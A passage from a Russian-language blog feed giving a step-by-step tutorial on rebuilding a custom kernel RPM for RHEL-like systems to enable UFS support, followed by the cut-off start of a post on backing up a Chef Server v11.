url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib-2X3aZw2UM5B7KhgVVkEAVCedmHVpjg6EGTplsgnC_llLz9JrJQLA8xR_xfUn4c3bH5d-GJRMMLvYyqa1tjquKUqQF5EtDTwmyCQsKlPt__vfqi_a3km1GX4y086dbjaMqRg5Fjg_W0A/s72-c/200px-Gnupg_logo.svg.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-122529714350658192</id><published>2014-02-19T04:09:00.001+07:00</published><updated>2014-02-19T04:09:52.859+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="Kernel"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="Red Hat Enterprise Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="RPM"/><category scheme="http://www.blogger.com/atom/ns#" term="Scientific Linux"/><title type='text'>Пересобираем ядро для RHEL-like систем</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixmkgNQ2YlFHNRc2Y_OxOA58_Z9KQxHbVMTZLeskJTPLqMZo5CPrahZCdpP4W0jgCbDUYHFnYPLraWoHR5Jfg2hAcGCB58BktzHCmQcHQtvQ8hbQsJWo8e3_1POfjkWLC2iLWL6sDAVoRc/s1600/redhat-linux-logo-png-hd-sk.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixmkgNQ2YlFHNRc2Y_OxOA58_Z9KQxHbVMTZLeskJTPLqMZo5CPrahZCdpP4W0jgCbDUYHFnYPLraWoHR5Jfg2hAcGCB58BktzHCmQcHQtvQ8hbQsJWo8e3_1POfjkWLC2iLWL6sDAVoRc/s1600/redhat-linux-logo-png-hd-sk.png&quot; height=&quot;65&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK_jKl16lBFz2gpFDMfHyxGh_wuCl_VUJynQyW4XJTqbaZm48TM3D36BdAS3Wbdwft_xW01FrSiJLwxHMAUOFklIqSTbcjKXeBSv0EJNT5MW0OK4kFXQOkYgoYmkMUcT047bz_yHd0-oxx/s1600/Centos-Logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK_jKl16lBFz2gpFDMfHyxGh_wuCl_VUJynQyW4XJTqbaZm48TM3D36BdAS3Wbdwft_xW01FrSiJLwxHMAUOFklIqSTbcjKXeBSv0EJNT5MW0OK4kFXQOkYgoYmkMUcT047bz_yHd0-oxx/s1600/Centos-Logo.png&quot; height=&quot;113&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE6_BmvvwE7HPSeYVHkFwdYmVPmtqub9IqV_ZqjrTktfVFPf9pyKZ73g7lmIZnyKv5oTKz7bzP46PgPCOsZ5wlOa-YiMQ179scJ1LDAric9BnFf8MMEpWrn4d2MyMylbf1eQKf5kQ8ghlN/s1600/sl-shirt-1200.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhE6_BmvvwE7HPSeYVHkFwdYmVPmtqub9IqV_ZqjrTktfVFPf9pyKZ73g7lmIZnyKv5oTKz7bzP46PgPCOsZ5wlOa-YiMQ179scJ1LDAric9BnFf8MMEpWrn4d2MyMylbf1eQKf5kQ8ghlN/s1600/sl-shirt-1200.png&quot; height=&quot;200&quot; width=&quot;173&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
А вот даже и не вспомню как давно приходилось пересобирать ядро &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.intenseschool.com/boot_camp/linux&quot; rel=&quot;intenseschoollinux&quot; target=&quot;_blank&quot; title=&quot;Linux Boot Camp&quot;&gt;Linux&lt;/a&gt;. Прошли те времена, когда с каждым новым релизом, устранялась какая-нибудь неприятная бага, или появлялась жизненно важная фича. Как правило всё работает из коробки, и нет числа новым адептам, праздно, без напильника, настраивающих свой свеженький Linux. Но всё же встречаются моменты когда приходится собирать кастомное ядро. Если у вас именно этот случай, тогда приступим.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Поскольку пересборку мне пришлось устраивать на &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.redhat.com/rhel&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Red Hat Enterprise Linux&quot;&gt;RHEL&lt;/a&gt;-like системе, её то я и буду описывать.&lt;br /&gt;
&lt;br /&gt;
Иногда, когда в одной системе нужно присовокупить к Enterprise системе Experemental фичи, приходится брать компилятор.&lt;br /&gt;
&lt;br /&gt;
Нусс... приступим.&lt;br /&gt;
В моём случае и source и target системы являются &lt;a class=&quot;zem_slink&quot; href=&quot;https://www.scientificlinux.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Scientific Linux&quot;&gt;Scientific Linux&lt;/a&gt;&#39;ами, хотя, в принципе, между всеми RHEL&#39;ами одной ветки должна быть бинарная совместимость.&amp;nbsp;&lt;/div&gt;
&lt;h4&gt;
Подготовка   окружения:&lt;/h4&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://yum.baseurl.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Yellowdog Updater, Modified&quot;&gt;yum&lt;/a&gt; -y install vim yum-utils rpmdevtools &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.gnu.org/software/ncurses/ncurses.html&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;Ncurses&quot;&gt;ncurses&lt;/a&gt;-devel hmaccalc zlib-devel &lt;a class=&quot;zem_slink&quot; href=&quot;http://www.gnu.org/software/binutils&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;GNU Binutils&quot;&gt;binutils&lt;/a&gt;-devel &lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 elfutils-libelf-devel &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Kernel_%28computing%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Kernel (computing)&quot;&gt;kernel&lt;/a&gt;-devel-$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Uname&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Uname&quot;&gt;uname&lt;/a&gt; &lt;span style=&quot;color: #44aadd;&quot;&gt;-r&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; gcc make rpm-build elfutils-devel newt-devel &lt;span style=&quot;color: #0f6900;&quot;&gt;\&lt;/span&gt;
 python-devel audit-libs-devel perl-ExtUtils-Embed
yum -y groupinstall &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;Development Tools&quot;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Я не буду описывать создание пользователя &quot;builder&quot;. В принципе, это может быть любой не привилегированный пользователь.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;h4&gt;
Получение исходных кодов:&lt;/h4&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;su - builder
rpmdev-setuptree
mkdir ~&lt;span style=&quot;color: #40015a;&quot;&gt;&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Unix_directory_structure&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Unix directory structure&quot;&gt;/tmp&lt;/a&gt;&lt;/span&gt; &lt;span style=&quot;color: #806030;&quot;&gt;;&lt;/span&gt; &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/tmp&lt;/span&gt;
    yumdownloader --source kernel-$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;uname &lt;span style=&quot;color: #44aadd;&quot;&gt;-r&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt;
    rpm -ivh kernel-&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;src&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;rpm
    &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; ~&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;h4&gt;
Подготовка дерева исходных кодов ядра:&lt;/h4&gt;
Установим зависимости&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;su &lt;span style=&quot;color: #44aadd;&quot;&gt;-c&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;yum-builddep --nogpgcheck &lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/tmp/kernel-&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;*.src.rpm&quot;&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Распакуем исходные тексты&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/rpmbuild/SPECS&lt;/span&gt;
    rpmbuild -bp --target&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;$&lt;span style=&quot;color: #806030;&quot;&gt;(&lt;/span&gt;uname -m&lt;span style=&quot;color: #806030;&quot;&gt;)&lt;/span&gt; kernel&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;spec&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;h4&gt;
&lt;br /&gt;&lt;/h4&gt;
&lt;h4&gt;
Настройка ядра:&lt;/h4&gt;
Дабы уберечь вас от ошибки которая стоила мне нескольких часов, скажу, что при сборке ядра таким способом, я имею в виду через &quot;spec&quot; файл, старый, добрый, ламповый &quot;.conf&quot; файл генерируется изново. Что приводит к тому, что все изменения перезатираются. Генерируется он специальным perl&#39;овым скриптом, из специальных файлов конфигурации, подключение которых можно обнаружить в &quot;spec&quot; файле. &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
Список файлов конфигурации&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;grep&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #44aadd;&quot;&gt;-P&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;Source&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;\d&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&#39;&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/rpmbuild/SPECS/kernel.spec&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Сами файлы находятся тут &lt;b&gt;~/rpmbuild/SOURCES&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Мне нужно только включить поддержку &lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Unix_File_System&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Unix File System&quot;&gt;UFS&lt;/a&gt; в ядре, чем пожалуй и займусь.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/rpmbuild/SOURCES&lt;/span&gt;
    &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;CONFIG_UFS_FS&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;CONFIG_UFS_FS=m&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt; config-generic-rhel
    &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;CONFIG_UFS_FS_WRITE&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;CONFIG_UFS_FS_WRITE=y&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt; config-generic&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;b&gt;Важно!&lt;/b&gt;&lt;br /&gt;
Для того, чтобы ядро не затёрлось при первом же официальном релизе, и чтобы самому понимать какое ядро установлено в системе, ядру следует присвоить кастомнный префикс.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; ~&lt;span style=&quot;color: #40015a;&quot;&gt;/rpmbuild/SPECS&lt;/span&gt;
    &lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;sed&lt;/span&gt; -i &lt;span style=&quot;color: #44aadd;&quot;&gt;-e&lt;/span&gt; &lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;define buildid&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;%define buildid &lt;b&gt;.mycompany&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e60000;&quot;&gt;&quot;&lt;/span&gt; kernel&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;spec&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
И еще одно&amp;nbsp;&lt;b&gt;Важно!&lt;/b&gt;&lt;br /&gt;
Чтобы ядро с префиксом в последствии корректно установилось, его следует собрать с опцией &quot;--with firmware&quot;.&lt;br /&gt;
Команду сборки лучше запускать через &quot;time&quot;, чтобы можно мыло сказать как долго ого собиралось.&lt;br /&gt;
А теперь наберёмся терпения, и будем ждать пока оно соберётся.&lt;br /&gt;
Я делал сборку на слабых машинках, и время сборки у меня варьировалось от 1.5 до 4х часов.&lt;br /&gt;
К слову, на варнинги можно не обращать внимание, главное чтобы в конце было сообщение об удачной сборке.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;time&lt;/span&gt; rpmbuild -bb --with firmware --target&lt;span style=&quot;color: #806030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-color: #ffffe8;&quot;&gt;`uname -m`&lt;/span&gt; kernel&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;spec&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
Когда весь чай выпит, а последний драйвер втиснут в rpm пакет, можно приступать к установке.&lt;br /&gt;
&quot;kernel-firmware&quot; необходимо устанавливать в первую очередь&lt;/div&gt;
&lt;div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;table border=&quot;0&quot; style=&quot;font-family: sans-serif; width: 100%px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot; width=&quot;45%&quot;&gt;&lt;div style=&quot;overflow: auto;&quot;&gt;
&lt;pre style=&quot;background-color: #f1f0f0;&quot;&gt;&lt;pre&gt;su -
&lt;span style=&quot;color: #bb7977; font-weight: bold;&quot;&gt;cd&lt;/span&gt; &lt;span style=&quot;color: #40015a;&quot;&gt;/home/builder/rpmbuild/RPMS/x86_64&lt;/span&gt;
    rpm -ivh kernel-firmware-&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;rpm
    rpm -ivh kernel-&lt;span style=&quot;color: #806030;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;rpm&lt;/pre&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Ну а теперь, перезагружаемся, &amp;nbsp;и радуемся новым фичам.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://fedoraproject.org/wiki/Building_a_custom_kernel&quot;&gt;https://fedoraproject.org/wiki/Building_a_custom_kernel&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://jablonskis.org/2011/howto-rebuild-centos-6-0-linux-kernel/index.html&quot;&gt;http://jablonskis.org/2011/howto-rebuild-centos-6-0-linux-kernel/index.html&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;zemanta-pixie&quot; style=&quot;height: 15px; margin-top: 10px;&quot;&gt;
&lt;a class=&quot;zemanta-pixie-a&quot; href=&quot;http://www.zemanta.com/?px&quot; title=&quot;Enhanced by Zemanta&quot;&gt;&lt;img alt=&quot;Enhanced by Zemanta&quot; class=&quot;zemanta-pixie-img&quot; src=&quot;http://img.zemanta.com/zemified_e.png?x-id=3cbb5c84-6e0b-4fff-897f-9615ec933ead&quot; style=&quot;border: none; float: right;&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://sc0rp1us.blogspot.com/feeds/122529714350658192/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://sc0rp1us.blogspot.com/2014/02/rhel-like.html#comment-form' title='Комментарии: 0'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/122529714350658192'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1204618965226729949/posts/default/122529714350658192'/><link rel='alternate' type='text/html' href='http://sc0rp1us.blogspot.com/2014/02/rhel-like.html' title='Пересобираем ядро для RHEL-like систем'/><author><name>asd test</name><uri>http://www.blogger.com/profile/04424902639527025465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixmkgNQ2YlFHNRc2Y_OxOA58_Z9KQxHbVMTZLeskJTPLqMZo5CPrahZCdpP4W0jgCbDUYHFnYPLraWoHR5Jfg2hAcGCB58BktzHCmQcHQtvQ8hbQsJWo8e3_1POfjkWLC2iLWL6sDAVoRc/s72-c/redhat-linux-logo-png-hd-sk.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1204618965226729949.post-8044169322660108860</id><published>2014-01-18T02:23:00.000+07:00</published><updated>2014-01-18T02:23:27.518+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="BackUP"/><category scheme="http://www.blogger.com/atom/ns#" term="Chef"/><category scheme="http://www.blogger.com/atom/ns#" term="Chef-Server"/><title type='text'>Backup and Restore Chef Server V11</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;http://www.getchef.com/images/logo-chef.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;br /&gt;&lt;img border=&quot;0&quot; src=&quot;http://www.getchef.com/images/logo-chef.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
Админы делятся на 2 категории:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Те кто не делают бэкапы&lt;/li&gt;
&lt;li&gt;Те кто уже делают бэкапы&lt;/li&gt;
&lt;/ol&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Backup Chef Server V11 сводится к 3-м основным пунктам:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;Backup конфигурации&amp;nbsp;nginx, поскольку она может быть модифицирована, для прослушки другого ip адреса. По крайней мере у меня там есть модификации.&lt;/li&gt;
&lt;li&gt;Backup Bookshelf хранилища&lt;/li&gt;
&lt;li&gt;Backup базы данных&amp;nbsp;&lt;a class=&quot;zem_slink&quot; href=&quot;http://www.postgresql.org/&quot; rel=&quot;homepage&quot; target=&quot;_blank&quot; title=&quot;PostgreSQL&quot;&gt;PostgreSQL&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
Для восстановления необходимо проделать тоже самое в обратном порядке, ну и сделать ре-индекс.&lt;br /&gt;
&lt;br /&gt;
Для этих целей, написал скрипт, с бесхитростным синтаксисом.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;color: #400000; font-weight: bold;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #40015a;&quot;&gt;/&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Server_%28computing%29&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Server (computing)&quot;&gt;server&lt;/a&gt;-side/chef-&lt;a class=&quot;zem_slink&quot; href=&quot;http://en.wikipedia.org/wiki/Backup&quot; rel=&quot;wikipedia&quot; target=&quot;_blank&quot; title=&quot;Backup&quot;&gt;backup&lt;/a&gt;.sh&lt;/span&gt; --backup                  &lt;span style=&quot;color: #c34e00;&quot;&gt;# for backup&lt;/span&gt;
